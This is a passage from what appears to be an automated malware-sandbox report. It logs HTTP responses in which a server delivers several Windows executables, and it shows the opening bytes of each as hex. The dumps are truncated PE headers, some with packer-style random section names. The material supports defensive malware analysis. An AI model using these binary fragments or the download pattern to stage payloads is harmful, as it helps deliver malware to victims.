10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 02 5b 04 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 05 00 80 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c 5c 04 00 ac 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 52 27 04 00 00 10 00 00 00 28 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 71 1f 00 00 00 40 04 00 00 20 00 00 00 2c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 20 db 00 00 00 60 04 00 00 58 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 80 3e 00 00 00 40 05 00 00 40 00 00 00 a4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 12 Jan 2025 16:39:53 GMTContent-Type: application/octet-streamContent-Length: 91760Last-Modified: Sun, 12 Jan 2025 09:17:56 GMTConnection: keep-aliveETag: "678388c4-16670"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 3d f3 55 98 00 00 00 00 00 00 00 00 e0 00 2e 01 0b 01 30 00 00 be 00 00 00 08 00 00 00 00 00 00 ee dd 00 00 00 20 00 00 00 e0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 01 00 00 04 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a0 dd 00 00 4b 00 00 00 00 e0 00 00 98 05 00 00 00 00 00 00 00 00 00 00 00 40 01 00 70 26 00 00 00 00 01 00 0c 00 00 00 54 dd 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 bd 00 00 00 20 00 00 00 be 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 98 05 00 00 00 e0 00 00 00 06 00 00 00 c2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 01 00 00 02 00 00 00 c8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 64 61 74 61 00 00 00 76 00 00 00 20 01 00 00 76 00 00 00 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 12 Jan 2025 16:39:57 GMTContent-Type: application/octet-streamContent-Length: 1918464Last-Modified: Sun, 12 Jan 2025 10:35:12 GMTConnection: keep-aliveETag: "67839ae0-1d4600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 53 a5 70 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 9a 03 00 00 06 02 00 00 00 00 00 00 e0 4c 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 4d 00 00 04 00 00 50 c9 1d 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f0 ca 4c 00 57 00 00 00 56 70 05 00 6a 00 00 00 00 60 05 00 08 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 05 00 00 10 00 00 00 8c 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 08 03 00 00 00 60 05 00 00 02 00 00 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 05 00 00 02 00 00 00 9e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2c 00 00 80 05 00 00 02 00 00 00 a0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 79 71 71 75 64 66 7a 00 80 1a 00 00 50 32 00 00 7e 1a 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 71 76 76 6b 67 6c 64 00 10 00 00 00 d0 4c 00 00 04 00 00 00 20 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 4c 00 00 22 00 00 00 24 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 12 Jan 2025 16:40:02 GMTContent-Type: application/octet-streamContent-Length: 91648Last-Modified: Sun, 12 Jan 2025 16:11:09 GMTConnection: keep-aliveETag: "6783e99d-16600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 62 05 40 5d 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 02 32 00 0c 01 00 00 56 00 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 01 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c 71 01 00 c8 00 00 00 00 90 01 00 f8 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 74 01 00 2c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 63 6f 64 65 00 00 00 f0 37 00 00 00 10 00 00 00 38 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 00 00 00 c2 d2 00 00 00 50 00 00 00 d4 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9d 33 00 00 00 30 01 00 00 34 00 00 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 2c 17 00 00 00 70 01 00 00 12 00 00 00 44 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 0e 00 00 00 90 01 00 00 10 00 00 00 56 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 12 Jan 2025 16:40:10 GMTContent-Type: application/octet-streamContent-Length: 1949184Last-Modified: Sun, 12 Jan 2025 16:14:09 GMTConnection: keep-aliveETag: "6783ea51-1dbe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 9a 01 00 00 00 00 00 00 40 4d 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 4d 00 00 04 00 00 7f da 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 ac 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2f 4d 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 2f 4d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 04 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2b 00 00 b0 06 00 00 02 00 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 71 79 70 75 72 6b 76 00 a0 1a 00 00 90 32 00 00 a0 1a 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 66 6c 6a 73 68 6f 63 00 10 00 00 00 30 4d 00 00 04 00 00 00 98 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 4d 00 00 22 00 00 00 9c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 12 Jan 2025 16:40:17 GMTContent-Type: application/octet-streamContent-Length: 1862656Last-Modified: Sun, 12 Jan 2025 16:14:16 GMTConnection: keep-aliveETag: "6783ea58-1c6c00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 cb 85 81 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 28 04 00 00 ba 00 00 00 00 00 00 00 60 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 49 00 00 04 00 00 fa 33 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 50 05 00 6b 00 00 00 00 40 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 51 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 30 05 00 00 10 00 00 00 7a 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 40 05 00 00 02 00 00 00 8a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 50 05 00 00 02 00 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2a 00 00 60 05 00 00 02 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 68 69 75 66 75 6b 6f 00 c0 19 00 00 90 2f 00 00 b4 19 00 00 90 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 66 72 66 6d 6d 6a 67 00 10 00 00 00 50 49 00 00 06 00 00 00 44 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 49 00 00 22 00 00 00 4a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 12 Jan 2025 16:40:25 GMTContent-Type: application/octet-streamContent-Length: 1918464Last-Modified: Sun, 12 Jan 2025 10:35:12 GMTConnection: keep-aliveETag: "67839ae0-1d4600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 53 a5 70 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 9a 03 00 00 06 02 00 00 00 00 00 00 e0 4c 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 4d 00 00 04 00 00 50 c9 1d 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f0 ca 4c 00 57 00 00 00 56 70 05 00 6a 00 00 00 00 60 05 00 08 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 05 00 00 10 00 00 00 8c 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 08 03 00 00 00 60 05 00 00 02 00 00 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 05 00 00 02 00 00 00 9e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2c 00 00 80 05 00 00 02 00 00 00 a0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 79 71 71 75 64 66 7a 00 80 1a 00 00 50 32 00 00 7e 1a 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 71 76 76 6b 67 6c 64 00 10 00 00 00 d0 4c 00 00 04 00 00 00 20 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 4c 00 00 22 00 00 00 24 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 12 Jan 2025 16:40:28 GMTContent-Type: application/octet-streamContent-Length: 1890304Last-Modified: Sun, 12 Jan 2025 16:13:59 GMTConnection: keep-aliveETag: "6783ea47-1cd800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 f0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4b 00 00 04 00 00 8f 33 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 c0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 d6 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 